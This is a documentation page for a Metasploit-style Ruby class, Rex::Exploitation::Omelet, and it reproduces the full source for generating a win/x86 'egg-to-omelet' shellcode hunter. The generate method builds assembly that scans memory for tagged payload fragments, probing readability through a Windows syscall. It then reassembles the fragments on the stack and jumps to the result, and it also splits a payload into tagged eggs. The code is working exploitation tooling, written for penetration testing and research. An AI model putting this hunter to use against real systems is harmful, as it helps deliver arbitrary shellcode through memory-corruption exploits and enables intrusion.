Class: Rex::Exploitation::Omelet

Inherits:
Object
  • Object
show all
Defined in:
lib/rex/exploitation/omelet.rb

Overview

This class provides an interface to generating an eggs-to-omelet hunter for win/x86.

Written by corelanc0d3r <[email protected]>

Defined Under Namespace

Modules: Windows

Instance Method Summary collapse

Constructor Details

#initialize(platform, arch = nil) ⇒ Omelet

Creates a new hunter instance and acquires the sub-class that should be used for generating the stub based on the supplied platform and architecture.


53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/rex/exploitation/omelet.rb', line 53

def initialize(platform, arch = nil)
Omelet.constants.each { |c|
  mod = self.class.const_get(c)

  next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))

  if (platform =~ /#{mod.const_get('Alias')}/i)
    self.extend(mod)

    if (arch and mod)
      mod.constants.each { |a|
        amod = mod.const_get(a)

        next if ((!amod.kind_of?(::Module)) or
          (!amod.const_defined?('Alias')))

        if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
            amod = mod.const_get(a)

            self.extend(amod)
          end
        }
      end
    end
  }
end

Instance Method Details

#generate(payload, badchars = '', opts = {}) ⇒ Object

This method generates an eggs-to-omelet hunter using the derived hunter stub.


83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# File 'lib/rex/exploitation/omelet.rb', line 83

def generate(payload, badchars = '', opts = {})

  eggsize       = opts[:eggsize] || 123
  eggtag        = opts[:eggtag] || "00w"
  searchforward = opts[:searchforward] || true
  reset         = opts[:reset]
  startreg      = opts[:startreg]
  usechecksum   = opts[:checksum]
  adjust        = opts[:adjust] || 0

  return nil if ((opts = hunter_stub) == nil)

  # calculate number of eggs
  payloadlen = payload.length
  delta = payloadlen / eggsize
  delta = delta * eggsize
  nr_eggs = payloadlen / eggsize
  if delta < payloadlen
    nr_eggs = nr_eggs+1
  end

  nr_eggs_hex = "%02x" % nr_eggs
  eggsize_hex = "%02x" % eggsize

  hextag = ''
  eggtag.each_byte do |thischar|
    decchar = "%02x" % thischar
    hextag = decchar + hextag
  end
  hextag = hextag + "01"

  # search forward or backward ?
  setflag      = nil
  searchstub1  = nil
  searchstub2  = nil
  flipflagpre  = ''
  flipflagpost = ''
  checksum     = ''

  if searchforward
    # clear direction flag
    setflag     = "cld"
    searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
    searchstub2 = "inc edx"
  else
    # set the direction flag
    setflag      = "std"
    searchstub1  = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
    searchstub2  = "dec edx"
    flipflagpre  = "cld\n\tsub esi,-8"
    flipflagpost = "std"
  end

  # will we have to adjust the destination address ?
  adjustdest = ''
  if adjust > 0
    adjustdest = "\n\tsub edi,#{adjust}"
  elsif adjust < 0
    adjustdest = "\n\tadd edi,#{adjust}"
  end

  # prepare the stub that starts the search
  startstub = ''
  if startreg
    if startreg.downcase != 'ebp'
      startstub << "mov ebp,#{startreg}"
    end
    startstub << "\n\t" if startstub.length > 0
    startstub << "mov edx,ebp"
  end
  # a register will be used as start location for the search
  startstub << "\n\t" if startstub.length > 0
  startstub << "push esp\n\tpop edi\n\tor di,0xffff"
  startstub << adjustdest
  # edx will be used, start at end of stack frame
  if not startreg
    startstub << "\n\tmov edx,edi"
    if reset
      startstub << "\n\tpush edx\n\tpop ebp"
    end
  end

  # reset start after each egg was found ?
  # will allow to find eggs when they are out of order/sequence
  resetstart = ''
  if reset
    resetstart = "push ebp\n\tpop edx"
  end

     		#checksum code by dijital1 & corelanc0d3r
  if usechecksum
    checksum = <<EOS
  xor ecx,ecx
  xor eax,eax
calc_chksum_loop:
  add al,byte [edx+ecx]
  inc ecx
  cmp cl, egg_size
  jnz calc_chksum_loop
test_chksum:
  cmp al,byte [edx+ecx]
  jnz find_egg
EOS
  end

  # create omelet code
  omelet_hunter = <<EOS

  nr_eggs equ 0x#{nr_eggs_hex}	; number of eggs
  egg_size equ 0x#{eggsize_hex} 	; nr bytes of payload per egg
  hex_tag equ 0x#{hextag}		; tag

  #{setflag}			; set/clear direction flag
  jmp start

  ; routine to calculate the target location
  ; for writing recombined shellcode (omelet)
  ; I'll use EDI as target location
  ; First, I'll make EDI point to end of stack
  ; and I'll put the number of shellcode eggs in eax
get_target_loc:
  #{startstub}		; use edx as start location for the search
  xor eax,eax		; zero eax
  mov al,nr_eggs		; put number of eggs in eax

calc_target_loc:
  xor esi,esi		; use esi as counter to step back
  mov si,0-(egg_size+20)	; add 20 bytes of extra space, per egg

get_target_loc_loop:	; start loop
  dec edi		; step back
  inc esi		; and update ESI counter
  cmp si,-1	; continue to step back until ESI = -1
  jnz get_target_loc_loop
  dec eax		; loop again if we did not take all pieces
           ; into account yet
  jnz calc_target_loc

  ; edi now contains target location
  ; for recombined shellcode
  xor ebx,ebx		; put loop counter in ebx
  mov bl,nr_eggs+1
  ret

start:
  call get_target_loc	; jump to routine which will calculate shellcode dst address

  ; start looking for eggs, using edx as basepointer
  jmp search_next_address

find_egg:
  #{searchstub1}		; based on search direction

search_next_address:
  #{searchstub2}		; based on search direction
  push edx		; save edx
  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
  pop eax		; set eax to 0x02
  int 0x2e
  cmp al,0x5		; address readable ?
  pop edx		; restore edx
  je search_next_address  ; if addressss is not readable, go to next address

  mov eax,hex_tag	; if address is readable, prepare tag in eax
  add eax,ebx		; add offset (ebx contains egg counter, remember ?)
  xchg edi,edx		; switch edx/edi
  scasd			; edi points to the tag ?
  xchg edi,edx		; switch edx/edi back
  jnz find_egg		; if tag was not found, go to next address
  ;found the tag at edx

   ;do we need to verify checksum ? (prevents finding corrupted eggs)
   #{checksum}

copy_egg:
  ; ecx must first be set to egg_size (used by rep instruction) and esi as source
  mov esi,edx		; set ESI = EDX (needed for rep instruction)
  xor ecx,ecx
  mov cl,egg_size	; set copy counter
  #{flipflagpre}		; flip destination flag if necessary
  rep movsb		; copy egg from ESI to EDI
  #{flipflagpost}		; flip destination flag again if necessary
  dec ebx		; decrement egg
  #{resetstart}		; reset start location if necessary
  cmp bl,1		; found all eggs ?
  jnz find_egg		; no = look for next egg
  ; done - all eggs have been found and copied

done:
  call get_target_loc	; re-calculate location where recombined shellcode is placed
  cld
  jmp edi		; and jump to it :)
EOS

  the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string

  # create the eggs array
  total_size = eggsize * nr_eggs
  padlen = total_size - payloadlen
  payloadpadding = "A" * padlen

  fullcode = payload + payloadpadding
  eggcnt = nr_eggs + 2
  startcode = 0

  eggs = []
  while eggcnt > 2 do
    egg_prep = eggcnt.chr + eggtag
    this_egg = fullcode[startcode, eggsize]
        if usechecksum
      cksum = 0
      this_egg.each_byte { |b|
        cksum += b
      }
      this_egg << [cksum & 0xff].pack('C')
    end

    this_egg = egg_prep + this_egg
    eggs << this_egg

    eggcnt -= 1
    startcode += eggsize
  end

  return [ the_omelet, eggs ]
end